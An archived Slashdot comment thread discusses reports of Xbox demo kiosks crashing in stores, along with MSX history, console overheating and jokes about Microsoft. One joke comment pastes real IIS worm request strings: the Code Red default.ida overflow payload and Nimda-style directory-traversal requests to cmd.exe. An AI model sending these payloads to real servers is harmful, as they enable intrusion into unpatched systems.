      Hey, don't badmouth MSX (or MSX2, MSX2+ or MSX TurboR). I know that the initial MSX standard was totally fuc*ed up in the US as far as marketing goes - so totally that no-one even heard about MSX2 over there, but it was *the* homecomputer standard of it's time in Japan, and also wildly popular in the Europe. Little known software house called 'Konami' (You may have heard of 'em...;) basically started on coin op arcades and MSX machines. They made tons of killer titles for the MSX and MSX2 that made best C64 titles look shitty in comparison.

      I feel like ranting a bit, so let's spend a bit of time educating you all.

      First... you've probably heard about this small game called 'Metal Gear Solid 2' coming out soon on PS2?

      Well, the Metal Gear series started it's life as a tiny very original 2D title on the MSX2. Back then I bought the game just based on the fact that 'it was a new Konami game!' and boy I was positively surprised. Couldn't put it down for the next two weeks as I worked my way thru it for the first time. That crappy NES port everyone thinks was the first Metal Gear is just a pale shadow of the original MSX2 version, and the NES 'Snake's Revenge'-sequel was just a lame 'let's redo the levels'-cash-in-ripoff that wasn't made by Hideo Kojima at all. The 'real' Metal Gear 2 (MG2: Solid Snake) was never released for any other platform except MSX2, and most people found out about this great game series only after Metal Gear Solid was released on PSOne. MG2: Solid Snake was probably one of the best and most technologically advanced game ever made for a 8bit system - and almost no-one outside Japan ever heard about it. There was no english language version until some fans translated it for emulator use few years ago - a very respectable hack as the original game cartridge image was almost all compressed data, and all in addition to that, the text in the game was stored using space-saving techniques (keyword lists for most used words to save bytes). Making that to work with English instead of Japanese took some disassembling and hacking.

      MSX2 standard itself was years ahead of it's time when it was originally introduced. When my friends were playing with their Commodore C64s (64KB RAM, 160KB 5.25" floppy), I had Sony HB-700D MSX2 that had things like total of 384KB RAM, Double Sided, 720KB 3.5" disk drive, MSX-DOS (8bit MS-DOS without directories and few other differences), and Sony-made mouse-based GUI and pretty good word processor/spreadsheet/business graph package. It had stuff like 512x384 graphics mode and 512 color palette - several years before Amiga and Atari ST, around the time 'PC' was 8086 with CGA and 4000$ pricetag.

      Sadly, since it wasn't really marketed outside Japan and some european countries, most of you never even heard about it, or about it's minor upgrade of MSX2+ (slightly better graphics) or MSX Turbo R which was basically MSX2+ and it's Z80 but with additional RISC chip bolted on. MSX3 standard was also drafted, but no machines were ever built as dedicated game consoles and price drops of PCs squeezed home computers off the market.

      Had some japanese companies known a bit more about marketing to US market, you'd probably have seen all this back then. Now only older japanese gamers and some european freaks know about these great systems.

      Sure, they had MicroSoft Xtended Basic on ROM and MSX-DOS as floppy OS - unless you felt like using BASIC for that too, as Disk BASIC came with any disk drive. MSX standard got it's name from the BASIC, but that was just their choice for basic interpeter on system ROM. Microsoft had small part in drafting the standard itself, but it was mostly japanese design, with all the hardware was made by japanese companies.

      So, bunch of japanese manufacturers were just making a Z80-based computer standard and needed a BASIC for it. MS was logical choice at the time, and MS was happy to sell them a simple BASIC and downgraded MS-DOS. MSX wasn't 'Microsoft' system any more than IBM PC is. MS pretty much just supplied software for it and helped them a bit with the standard.

      So, X-Box is still Microsoft's first attempt at a full hardware system. I wish them luck, and I expect tons of fun reading as their launch will have it's bumps, and they'll be blown out of proportions, as it's Microsoft, and everyone loves to make fun of them.

    4. Re:Hmmm.... by schon · · Score: 1

      Uh, why can't they? It's got a decently large hard drive to store them on and both internet and CD support to distribute them.

      How about because it will piss people off?

      "Oh yeah, just wait three months for MSRacer 2.0 - it will fix all crash problems you're experiencing."

      The likely (unwashed masses) response to this would be "No, give me my money back, I'll go buy something that works NOW."

      The likey (informed) response would be "Why the hell did they release it if it didn't work? Give me my money back, and I'll go buy something from a company that uses quality control."

      Releasing "patches" just isn't gonna wash. MS may have been able to snow computer users, but "average joe" is used to stuff that works properly out of the box.

    5. Re:Hmmm.... by FatRatBastard · · Score: 1

      Hey, don't badmouth MSX

      Replace MSX with Atari and you've got me :)

      I actually didn't know that MSX really didn't stand for MicroSoft. I was in England during its more popluar time (mid-late 80s) and even then was under the impression it was Microsoft (and so did most of the computing press as well). Didn't mean to besmearch the good name of MSX :)

  48. a tutorial? by fishboy · · Score: 1

    "Crashing Xbox Kiosks"...

    I thought that the headline meant the story was going to give us instructions on how to crash xboxen...

    ...but I suppose it would make for a pretty short article, looking something like this:

    1) show up.
    2) watch xbox crash

    1. Re:a tutorial? by zeno_2 · · Score: 1

      Heck, you dont even have to go that far, you can sit in the confines of your own house knowing that xboxes are crashing all across the country. Gotta love the internet =P

  49. Crashing an Xbox by Magumbo · · Score: 3, Funny

    GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNN
    NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucb d3%u7801%u9090%u6858%ucbd3%
    u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b% u5 3ff%u0078%u0000%u00=a

    GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
    GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
    GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir
    GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir
    GET /scripts/root.exe?/c+dir
    GET /MSADC/root.exe?/c+dir
    GET /c/winnt/system32/cmd.exe?/c+dir
    GET /d/winnt/system32/cmd.exe?/c+dir
    GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
    GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
    GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
    GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir

    1. Re:Crashing an Xbox by Jucius+Maximus · · Score: 1
      " GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNN "

      That makes sense. Leave it to micros~1 to default-install a server into something that clearly doesn't need it.

    2. Re:Crashing an Xbox by Anonymous Coward · · Score: 0
      That makes sense. Leave it to micros~1 to default-install a server into something that clearly doesn't need it.


      You seem to have misspelled "RedHat" as "micros~1". Hope this helps.

    3. Re:Crashing an Xbox by spyderbyte23 · · Score: 2
      GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN

      ...and so forth.

      Oh, c'mon. *This* made it past the lameness filter, but nobody's C code ever does?

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    4. Re:Crashing an Xbox by Alsee · · Score: 1

      Oh, c'mon. *This* made it past the lameness filter, but nobody's C code ever does?


      Ahhh, must be the new lameness filter. /. just had several upgrades. You might want to try posting C code again. I'll prolly be OK.

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  50. Believed by Mr_Silver · · Score: 2
    Several Toys R Us employees did not know what went wrong with the Xbox demo unit that now carried a "Out of Order" sign. The store received their unit on Tuesday. The in-store demo units are believed to be actual finalized hardware that consumers will see at launch.

    (emphasis mine)

    I'd like to see this confirmed first. However whichever way you look at it, it is pretty damn silly to have either a beta box or a buggy game running in shops.

    I don't think it would be unfair to suggest that the one that does finally go into retail won't be as bad as this.

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    1. Re:Believed by Anonymous Coward · · Score: 0

      This is because the Toy R Us employees don't have their MCSE. How can you own and operate your X Box without having your MCSE?

    2. Re:Believed by Anonymous Coward · · Score: 0

      Like, maybe, in about a year?

    3. Re:Believed by shadowcabbit · · Score: 1

      I work at an Electronics Boutique in Erie, PA. Our XBox unit was the first in the area, and so far it hasn't given us any problems (beyond attracting people to our store solely for the reason of playing the XBox, driving our conversion rate through the basement) in the three weeks we've had it. HOWEVER, from handling it myself, I'd have to say that with all likelihood there's no way the machines in the stand-up kiosks could be beta or pre-release versions. I have not seen any crashes myself-- though I am interested in seeing it happen, at least once-- but that alone is not my only reasoning. The reason is that there are less than three weeks until the XBox launches in the US, and that it is FAR, FAR too late for MS to be revising the hardware setup now, if they want to meet their production goals for launch, not to mention the pre-orders that we have guaranteed our customers. Which brings me to a concept I'll tackle in a few moments...

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  51. Did MS design the hardware? by sheetsda · · Score: 2

    Did MS design the XBox's hardware? A bug in software is easily fixed with a patch, but what do they do when they find out the hardware is flawed? Or is there some process to eliminate hardware bugs before they wreak havoc? (I seem to remember one of Intels chips getting to market with bugs)

    1. Re:Did MS design the hardware? by robi2106 · · Score: 1

      That would be the origional Pentium (I don't remember the batch numbers) that contained a floating point arithmatic error in a hardcoded lookup table of some sorts.

      robi

    2. Re:Did MS design the hardware? by Hadlock · · Score: 1

      I was watching some sort of psedo-documentary on Nvidia on Cnet (evil square ads and they use WMA!! i know. i'm tainted. sorry) and the cnet guy kept trying to ask the CEO all these questions, when all the CEO was interested in was showing you their processor making process. essentially they have x,000 guys on SGI octane workstations or the like doing processor design. they complete what they think would make a good graphics card, send it down to the supercomptuer room, and let it run the 'debugger'

      apparently at any one time they're processing about 3 differnt processor designs, with about 27 in the que. for you server heads, they have one of those failsafe server systems where the servers auto-reboot and you can take out servr modules and replace them w/o losing any data.

      when they get a good processor they like, they 'email' the finalized design to some 3rd party/contracted silicon plant, they make it, and send them back one (first silicon). they test, debug some more, and back to the drawing boards, repeat. pretty efficent way to design hardware.

      i can't see any major fatal flaws, as those would normally be caught in the software debugging phase.

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    3. Re:Did MS design the hardware? by eander315 · · Score: 1

      All CPUs go to market with bugs. They're tiny miniscule bugs, and they're fixed in subsequent versions of the chips, but they're there. Most of the bugs can be dealt with by turning off the feature of the chip that manifests the bug. Of course that frequently means the chip is slower after the patch. Generally the patch is a simple BIOS update. Of course that could be diffiult to perform on thousands of XBoxes.

    4. Re:Did MS design the hardware? by Miguelito · · Score: 1

      i can't see any major fatal flaws, as those would normally be caught in the software debugging phase.

      Your post just described the design methodology used for most (if not all) IC design houses. Nothing new or interesting there.

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    5. Re:Did MS design the hardware? by unitron · · Score: 2

      It doesn't have to be new to be interesting.

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  52. Xbox Demo Kiosks by imadork · · Score: 2
    I saw one of the demo kiosks. I was kind of disappointed that there was only one demo that wasn't "Non-interactive". I was amused at the title of the last non-interactive demo - "Microsoft Legal Information" or something similarly ominous.

    I was afraid to look at it because it was probably a EULA that would legally bind me to buy XBox games exclusively, and turn in all my Playstation games to the console Police (or something like that).

  53. Not a Microsoft Problem. by supabeast! · · Score: 4, Informative

    Demo kiosk units for modern game consoles usually have these problems, especially prerelease systems that use early hardware revisions. The crashing usually results from overheating caused by the machines running 24/7, in small enclosures with poor, if any ventilation. I have seen plenty of the old Dreamcast display units hung up and crashing to a black screen with a little text. It might also be due to the early software revisions in the machines.

    Of course, anyone who had an old NES should remember that many of the system's games were very crash prone. I cannot begin to describe how many time I saw Teenage Mutant Ninja Turtles crash, to the point that I knew what areas to walk away from when parts of the screen would become distorted...

    1. Re:Not a Microsoft Problem. by DumbSwede · · Score: 1

      If early generation games crash, Microsoft will have a perception problem regardless of who is at fault. The bar is set higher for entry machines these days. PlayStation and PlayStation II were not prone to crashing. No doubt Microsoft will try to shift blame to developers, but I doubt that tactic will work this time. I see a real debacle in the making, so severe in fact, that a last minute shipment slip could occur (to be blamed on 9-11 no doubt).

    2. Re:Not a Microsoft Problem. by hexx · · Score: 2

      Demo kiosk units for modern game consoles usually have these problems, especially prerelease systems that use early hardware revisions.

      This is not a demo unit. This is believed to be actual release hardware.

      Now, everyone knows that if the unit is in a poorly ventilated area and using serious CPU/GPU/SPU software, it will generate heat and crash. BUT, the article says these are crashing on boot, or when trying to access menus, etc. This should not cause serious overheating!

      Also, given Micro$oft's (Get it? I used a '$' instead of an 's'. I am witty.) well known totalitarian deployment arm, I would be surprised to learn that these machines were in anything other than officially authorized kiosks (with air conditioning or something!).

      So, is this really not a Microsoft problem? Me thinks not.

    3. Re:Not a Microsoft Problem. by SuiteSisterMary · · Score: 2
      PlayStation and PlayStation II were not prone to crashing.
      Ahhh selective memory. The PlayStation was VERY bad for crashing due to heat, for the first several hardware revs; I remember seing, for sale, units that were the size of a PS, and were nothing but two fans; you put your PS on top of it, and it blows up, improving the ventilation.
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    4. Re:Not a Microsoft Problem. by srvivn21 · · Score: 2

      Just a thought, but if you are trying to say that this is not a Microsoft problem, you probably shouldn't say "The Dreamcast crashed." It (in case anyone doesn't remember) was running Win CE.

      I really don't think that this is going to be indicative of the overall performance of the XBox. I just think that Microsoft has a (well deserved) reputation for unstable operatin systems. They build that reputation over 10 years, so you can't expect it to dissapear overnight.

    5. Re:Not a Microsoft Problem. by GPB · · Score: 1

      I had to sit the original PS on its side to get many of the games to even load. While this isn't "crashing", it's still a problem.

      -B

    6. Re:Not a Microsoft Problem. by Anonymous Coward · · Score: 0

      Many of the games didn't use CE at all.

    7. Re:Not a Microsoft Problem. by hexx · · Score: 2

      In fact, I had too many beers last night.

      I meant to say 'me thinks SO'

    8. Re:Not a Microsoft Problem. by mlong · · Score: 2, Insightful
      Just a thought, but if you are trying to say that this is not a Microsoft problem, you probably shouldn't say "The Dreamcast crashed." It (in case anyone doesn't remember) was running Win CE [microsoft.com].

      I really don't think that this is going to be indicative of the overall performance of the XBox. I just think that Microsoft has a (well deserved) reputation for unstable operatin systems. They build that reputation over 10 years, so you can't expect it to dissapear overnight.


      WinCE was an add-on that had to be on the CD a game was on (ie if the developer chose to develop under it) I never had a single game that used WinCE.

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    9. Re:Not a Microsoft Problem. by sterno · · Score: 1

      This is not a demo unit. This is believed to be actual release hardware.
      Um, correct me if I'm wrong but BELIEVING something to be true and it being true are different, non? Reports from unofficial and unidentified sources say these are for real but they may not be. Let's not start making bold statements about Microsoft's screw up until we are certain they actually screwed up.

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    10. Re:Not a Microsoft Problem. by srvivn21 · · Score: 1

      That I did not know. Thanks for the info.

    11. Re:Not a Microsoft Problem. by raresilk · · Score: 3, Funny
      "You put your PS on top of it, and it blows up?"

      That'll certainly help boost X-box sales. Are you sure Microsoft didn't invent this gadget? Blowing up a competitor's hardware would be very consistent with their other business practices.

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    12. Re:Not a Microsoft Problem. by SuiteSisterMary · · Score: 2

      Oh, for Somebody's sake. It contains two fans, which are oriented horizontally, resulting in an airflow upwards.

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    13. Re:Not a Microsoft Problem. by supabeast! · · Score: 3, Redundant

      Not really. Every game console ever released has had buggy early softare. Early Playstation games had a horrible reputation for crashing during FMV playback, if the system didn't overheat first (Which it could do in under an hour.) or the laser sliders didn't wear out (It usually happened within the first year on the first two PSX models.). The problems got a huge amount of press, from a gaming press that already trashed Sony for getting into the market to begin with. The Playstation 2 had serious bugs in its hyped up visual and access speed features, which can crash many PSX games (My most recent discovery was that it can crash Final Fantasy VII when exiting a combat.).

      All that adverisity and perception problems, and Sony STILL captured the market. With their first machine. This will not affect Microsoft's XBox launch in any signifigant way.

    14. Re:Not a Microsoft Problem. by zeno_2 · · Score: 1

      If its a usual problem, put a fan in the kiosk, problem solved. Im sure if they knew the xbox would overheat in the kiosk, why would they not put a fan in there? If they knew it were to lock up, wouldn't that kinda scare people away from buying the xbox? I mean think about it...

    15. Re:Not a Microsoft Problem. by slashdot2.2sucks · · Score: 1
      I would be surprised to learn that these machines were in anything other than officially authorized kiosks (with air conditioning or something!).

      Kiosks and such are 100% property of Microsoft/Sony/Nintendo. The company pays allot of money to put them in ToysRus and generally, employees aren't allowed to fool around with them. I believe that it was Nintendo that was so restrictive that you had to call a rep to reset the machine.

      Anyway, there is little excuse for overheating, because Microsoft could have put fans and ventilation in the kiosks if they thought that might be a problem

    16. Re:Not a Microsoft Problem. by Anonymous Coward · · Score: 0

      The guy that was quoted with that information was a Nintendo fanboy, thats what makes me so mad.

      Here is his information:

      Lord Federman (gaming-age forums)
      Works at Target (yeah really credible there)
      Lives in Germantown, MD.
      He is an anti-Microsoft biggot like a lot of you, so this is completely crap.

      Just shows you how poor the Internet is when it comes to journalism. Let someone who is a fanboy of another console post news about some other console and its on slashdot.

      Its only on slashdot because its anti-microsoft. Pathetic and a load of crap... worst thing on slashdot in a long time. DO YOUR FREAKING RESEARCH before you post stories like this!!!!!!!!!!!!!!!!!

      Personally, if I was Microsoft, I would be looking into lawsuits right now....

      Either research your information or get sued, its your choice!

      No I DON'T have an acount on here

    17. Re:Not a Microsoft Problem. by MindStalker · · Score: 1

      What? this is slashdot!

    18. Re:Not a Microsoft Problem. by Solokron · · Score: 0

      I also have seen the FF7 crash out of combat.

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    19. Re:Not a Microsoft Problem. by fusiongyro · · Score: 1

      I never had a game that didn't use WinCE crash.

      Daniel

    20. Re:Not a Microsoft Problem. by Mr.+Foogle · · Score: 1

      The crashing usually results from overheating caused by the machines running 24/7, in small enclosures with poor, if any ventilation.

      Dude. My kids have their Nintendo in a hot, dusty un-airconditioned room (and Texas gets HOT in the summer) which used to be a screened in porch. It's crammed over a VCR and under a T.V.

      Demo unit hardware problems or not, I can't imagine that the enclosure at Toys-R-Us is more hostile to equipment than my 'rec' room. 3 years it's been there, with out a hitch.

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    21. Re:Not a Microsoft Problem. by Kris_J · · Score: 2
      My Rev B (I think) PSX has the FMV-skip issue. I bought an MP3 player add-on for it, but there's not enough buffer so the damn thing mangles the music. I'd tried ajusting the tiny pots (or whatever) in the unit as one FMV-skip fix suggests, but I'd not tried putting it on its side. Thanks for the suggestion, I'll give it a go.

      BTW: The only game this causes real problems with is Bomberman World, which appears to expect a perfect read first time, every time and does not appear to use any error detection when loading data. It regularly gets corrupted sprites, background and sound -- and sometimes it totally locks up. All my other games cope fine.

  54. Thus spake Taco by Anonymous Coward · · Score: 4, Funny

    I'd personally like to assign a -2 penalty on any comment rated 'funny' because most of them frankly just aren't funny at all.

    It's funny because it's Microsoft.

    1. Re:Thus spake Taco by Anonymous Coward · · Score: 0

      Yup, Taco's a wanker. Fuck Taco and his horrible shitty always-crashing site. Does anyone remember a single day in the last 2 months when SpaghettiDot hasn't crashed?

      Is it because of Taco's "code" or because of the general low quality of the open source "products" it runs on?

    2. Re:Thus spake Taco by TrixX · · Score: 2

      I think I *DID* get the irony in Taco, but nevermind

  55. I live in SIOUX Falls, not Souix Falls by jemhddar · · Score: 2

    And people wonder why I always have to spell the name of the town I live in.

    Anyway, Microsofts poor software has kept me employed for 5 years, and this is just reinforces that belief.

    Matt

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    1. Re:I live in SIOUX Falls, not Souix Falls by newt_sd · · Score: 1

      Brookings HERE!!!!

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    2. Re:I live in SIOUX Falls, not Souix Falls by paranoid.android · · Score: 1

      Heh, my dad went to school in Brookings. You an SDSU student?

    3. Re:I live in SIOUX Falls, not Souix Falls by thunderbird46 · · Score: 1

      Greetings from this SDSU student. It's funny how SD place names screw people up -- you can tell if someone's from out of state almost solely based on their ability to pronounce the state capitol's name correctly. :)

    4. Re:I live in SIOUX Falls, not Souix Falls by godscheeseburger · · Score: 1

      Wow, there are other nerds in SD! ~LOL~ Hello from poor, little ol' Box Elder. It's the blimp on the map in between Elsworth AFB and Rapid City.

      Anyhoo, at least Microsoft is consistant at what it does!

    5. Re:I live in SIOUX Falls, not Souix Falls by edbarrett · · Score: 1

      Anyway, Microsofts poor software has kept me employed for 5 years, and this is just reinforces that belief.

      I'm studying up for my Microsoft Certified XBox Engineer cert.

  56. A game of skill and strategy! by Mustang+Matt · · Score: 4, Funny

    Interpret the BSOD - Coming soon to video game stores near you!

    Publisher: Microsoft 2001
    Retail: $79.95/year license
    EULA: You agree to the terms inside the package by opening the package.

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  57. They can bank on it all they want... by Svartalf · · Score: 2

    If it's hanging/BSODing now, do you REALLY think anyone's going to buy off on it? (At least the demo units for the PS2 work well...) Yes, those are neato games, but there's always other companies out there willing to fill that void MS is making right now.

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    1. Re:They can bank on it all they want... by jiheison · · Score: 1

      f it's hanging/BSODing now, do you REALLY think anyone's going to buy off on it?

      If XBox is where the games are, yes. Console gamers aren't used to crashes, but they are also not the types to settle for less popular games running on a more stable system. They will just learn to put up with re-boots, like they got used to buying a new Sega system every 18 months to play the latest games.

  58. And you were worried! by TheLoneCabbage · · Score: 1

    Microsoft couldn't make a decent product to save their lives.

    But don't sweat, go ahead and buy an XBox. Next year MS will sell you the fix...er upgrade.

    But seriosly. MS's buisness model is based on the idea of continuous upgrade (fixes), to poorly designed products (that may be a bit of a stretch, but not a big one). However the machines themselves are loss leaders for MS. How can they make money by selling an inferior piece of equipment, and it's fix/upgrade. If ever time the user buys one it costs MS money??

  59. XBox Games On Windows by JohnHegarty · · Score: 0

    As the XBOX is basically a pc , and the games are all just direct X ... is anyone working on a way to play these games on your pc , or is micorosoft going to release a version of direct x ..etc... to allow this...

    this would be a good thing for m$ to do , becuase it would grealy increase the number of games for the xbox , and a developer would be more lightly to develope if they can target the pc/x-box market with the same piece of software....

    of course this would also help the pirates...but then again , what doesn't..

    1. Re:XBox Games On Windows by robi2106 · · Score: 1

      I was wondering about that porting . . but then I realized that the best games I play are all PC because of the sheer complexity of the control system. You can't control Tribes 1 or 2 with only ~12 buttons. That is just impracticle. There are other games whos names escape me (possbly Rainbow Six type games) that also have the need for a large number of accessible keys.

      So for me, all the games I like to play will only released for the PC. Besides that, I don't need a $500 piece of hardware sitting around that I can't use for something besides just playing. I gotta compile my C somewhere and it might as well be my fast gaming system)

      robi

  60. Other consoles use cooler chipsets by SethJohnson · · Score: 2, Informative


    With the exception of the dreamcast (which may be the first gaming console with a fan built in), other consoles have used cooler-running chips. Don't know too much about the PS2, but the PSX was using a RISC chip built by SGI. Probably the same for PS2.

    xBox, OTOH, will be using commodity intel-based hardware which has historically had heat and energy consumption issues.
    1. Re:Other consoles use cooler chipsets by Anonymous Coward · · Score: 0

      PS2 has a fan. You can hear it quite clearly if the room is quiet.

    2. Re:Other consoles use cooler chipsets by aronc · · Score: 1

      Not to mention that there was a problem with a significant number of the at launch PS2 havint their fans die.

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    3. Re:Other consoles use cooler chipsets by flegged · · Score: 1

      The Dreamcaat actually has a water-based refigeration system! Open it up and you'll see the pipes.

      And PS2's were notorious for melting if you left them on overnight. I don't know if that't been sorted out or not.

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  61. New Terrorist?? by typikalteen · · Score: 1, Insightful

    Is crashing the X-Box considered a act of gaming terrorism

    1. Re:New Terrorist?? by Anonymous Coward · · Score: 0

      INSIGHTFUL?! What brand of fucking crackhead moderators moderate Slashdot?!?!

    2. Re:New Terrorist?? by typikalteen · · Score: 1

      Bastard!!!

  62. And I thought.. by ltning · · Score: 1

    ..that they would have made sure this couldn't happen.. I mean after all, as opposed to boxes standing in peoples homes, they knew _EXACTLY_ what these demo boxes would be doing.. And it should be pretty limited too.. Maybe a self-running demo.. And the possibility to try one game or so.. How hard can it be to test this for a copla days before sending it out to demo??

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    1. Re:And I thought.. by Dimensio · · Score: 2

      There is the possibility that MS was well aware of the risks of improper ventilation and extended use of the console and instructed or advised software store companies of the proper storage and care for the kiosk units, but were ignored. Certainly not an uncommon occurance.

  63. oh the irony... by Nate+Fox · · Score: 0, Redundant

    For Example: I'd personally like to assign a -2 penalty on any comment rated 'funny' because most of them frankly just aren't funny at all. But humor is far too subjective to say that the moderation is unfair.

    It's funny because it's Microsoft. Get it? It's... oh never mind.

    wow...self fullfilled prophesy? :)

  64. Jumping the Gun... by FortKnox · · Score: 4, Insightful

    Here goes some precious karma

    "Out of five stores that have playable demos within a ten mile area, only two have working units," says one Babbage's employee

    That article describes 5 stores out of THE ENTIRE COUNTRY that have technical problems.

    Think we are jumping the gun? Maybe its under super-scrutiny cause its microsoft, and people are taking advantage.

    And the above quote (which will probably get that babbage's employee fired), is most likely an anti-MS/Linux Zealot out for blood against the X-Box. I don't see it very believable.

    Lets wait for a few days AFTER they release the X-Box to kill it, k?

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    Good quote, too many chars. Seriously, the slashdot 120 char limit sucks!
    1. Re:Jumping the Gun... by egomaniac · · Score: 2

      These are hardly the first reports of Xbox instability -- it has been rumored to crash frequently since the pre-E3 days.

      If you want a semi-scientific study, you need to compare it against Nintendo's GameCube, which is slated to launch three days later and is also present in kiosks. I have heard zero (0) reports of GameCube crashes, which may or may not be due to reporting bias (in other words, people may just not feel it necessary to point out GC crashes, while Xbox crashes are a Big Deal).

      So, we have 250,000 geeks at our disposal. Let's get some reports from the field. Go to a Toys R Us. How many Xboxes? How many of them were crashed or out of order? How many GameCubes? How many of them were crashed/OOO?

      Should be very easy to spot a trend.

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    2. Re:Jumping the Gun... by Anonymous Coward · · Score: 0

      Of the three stores I've been to only two kiosks have worked. The third was frozen, and pressing the reset button did nothing.

    3. Re:Jumping the Gun... by Anonymous Coward · · Score: 0

      Dammit! Where's the moderation option for "-1, Mentioned Losing Karma Due To Comments In FIRST GODDAMN LINE OF POST"? God are you pathetic.

    4. Re:Jumping the Gun... by __aawwih8715 · · Score: 1

      Please, learn how to read and understand what you're reading.

      Out of five stores that have playable demos within a ten mile area, only two have working units

      Out of the 5 stores in the 10 mile area.
      Unless the whole country has a 10 mile radius, you are wrong.

      So, out of 5 stores in the 10 mile radius, 2 have working units. Thats 2/5.

      Even meatloaf agrees...
      3 out 5 ain't bad, 2 out five ain't no good.

      So, next time use the preview button.

    5. Re:Jumping the Gun... by __aawwih8715 · · Score: 1


      errr,
      maybe i should use the preview button.

      2 outa 3 in't bad

      haha

      3 outa five

      yea, meatloaf

    6. Re:Jumping the Gun... by Gautama · · Score: 1


      >That article describes 5 stores out of THE ENTIRE COUNTRY that have technical problems.

      Actually, the problem is more widespread than the article claims. I have personally seen and verified 2 defective/problem units in my county alone. (Nowhere near the reported units)

      With any luck, these problems will mean the early adopters will either NOT buy the Xbox, or get badly burned enough to dump it quickly.

      Either way will mean MS will fail in this round's attempt to dominate yet another market.

      Me? I'm holding out for the Gamecube.

    7. Re:Jumping the Gun... by kisak · · Score: 1
      Lets wait for a few days AFTER they release the X-Box to kill it, k?

      But I would not like to waite a few days after I bought it to find out it freezes up and crashes regularly. Early information and trust is important.

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    8. Re:Jumping the Gun... by Anonymous Coward · · Score: 0

      No, the article said "within a 10-mile radius". This is not the entire country ~ it's merely a sample. The article does not state whether or not the situation is similar in other radii around the country, although I'd imagine it is, as my Local EB has one demo unit which is also crashed.

    9. Re:Jumping the Gun... by Anonymous Coward · · Score: 0

      Lets go through that again real quick, the quote is:

      Out of five stores that have playable demos within a ten mile area, only two have working units

      not

      "Out of the entire country that have playable demos, only three have broken units

      Which you are trying to imply (or some such thing, because you are wayyyy out in left here) - which is pretty obviously-absolutely wrong.

      How many demo-units do you actually think are US-wide? Well, if the results of this ten square mile area are any indication, then "THE ENTIRE COUNTRY" can expect to also see a 60% failure rate...

      That article describes 5 stores out of THE ENTIRE COUNTRY that have technical problems.

      Is wrong in the manner I describe above in two ways: s/THEENTIRECOUNTRY/10mileradius && s/3/5 and you might make a LITTLE sense.

      In addition, I suggest you work on your reading comprehension skills a little, mkay?

    10. Re:Jumping the Gun... by danield · · Score: 1

      i visited my friendly neighborhood toys r us this afternoon and to my suprise they had an xbox demo unit .... turned off with a out of order sign

      -daniel
      http://supa-fly.org/

    11. Re:Jumping the Gun... by FortKnox · · Score: 1

      That's the quote from some babbages employee.

      Do you trust your neighborhood babbages employees?? Hmmm???

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  65. XBox Green Screen of Death by GoofyBoy · · Score: 5, Funny
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    1. Re:XBox Green Screen of Death by Troed · · Score: 2, Informative

      Bad usability .. Microsoft should really hire some HCI people. You _never_ ask people to "OK" (a positive thing) an error (a negative thing) .. "no, it's not ok!" ..

    2. Re:XBox Green Screen of Death by alen · · Score: 1

      Awesome.

    3. Re:XBox Green Screen of Death by Whyzzi · · Score: 1

      Why the heck can't they make these things screens red?? If the error message is green, where exactly are you supposed to go after acknoledging the error? Where's the consistency?

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    4. Re:XBox Green Screen of Death by MikeyNg · · Score: 2, Insightful

      Cute. Isn't that the screen from the XDK (X-Box Developer's Kit)? Couldn't that error message be from something like a program bug that the programmer made, or a bad copy of a disc or something? Gee, you know, if I were a developer working on a development kit, I think I'd like to see some sort of error message to help me debug it. Call me crazy.


      Oh wait, it's Microsoft, right? So surely if they screw up with ANYTHING, it's got to be good news for everyone!


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    5. Re:XBox Green Screen of Death by Decimal+Dave · · Score: 1

      So, should the button read more like "I reluctantly accept"?

      In keeping with Windows tradition, I would expect all sorts of "Can't find something.dll" and "Illegal operation" messages being cranked out by the XBox. Clicking "ok" is just part of the whole XPerience.

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      "Leave the strategizing to those of us with planet-sized brains." -Tycho
    6. Re:XBox Green Screen of Death by Shaheen · · Score: 5, Insightful

      This is not a green screen of death. Heck, imagine running an executable from the commandline of a linux box:

      chmod +x textfile.txt
      ./textfile.txt

      You'll get an error that the format was unknown.

      This is the same deal. Someone tried to load an xbox executable with a bad format. It was likely that the executable was compiled with a different Xbox Development Kit version than the previously loaded executable.

      If the Xbox really did crash, what would happen is that the framebuffer would lock up and you would see the same screen forever.

      This image is not an Xbox crashing

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    7. Re:XBox Green Screen of Death by p3d0 · · Score: 1
      If the Xbox really did crash, what would happen is that the framebuffer would lock up and you would see the same screen forever.
      Really? This is the only way an Xbox can crash?
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    8. Re:XBox Green Screen of Death by seann · · Score: 0

      my /bin/sh is hard linked to /bin/textfile.txt

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    9. Re:XBox Green Screen of Death by Azog · · Score: 3, Insightful
      Someone tried to load an xbox executable with a bad format. It was likely that the executable was compiled with a different Xbox Development Kit version than the previously loaded executable.
      Ummm, this is a screen shot of a crashed xbox from a kiosk in a software store.

      How the heck do you think an executable compiled on a different Xbox Development Kit would get onto that box? Microsoft almost certainly sent these things out as packages - hardware, software, kiosk, marketing material, the works, all in one big crate to the store, along with detailed information on how to set it up.

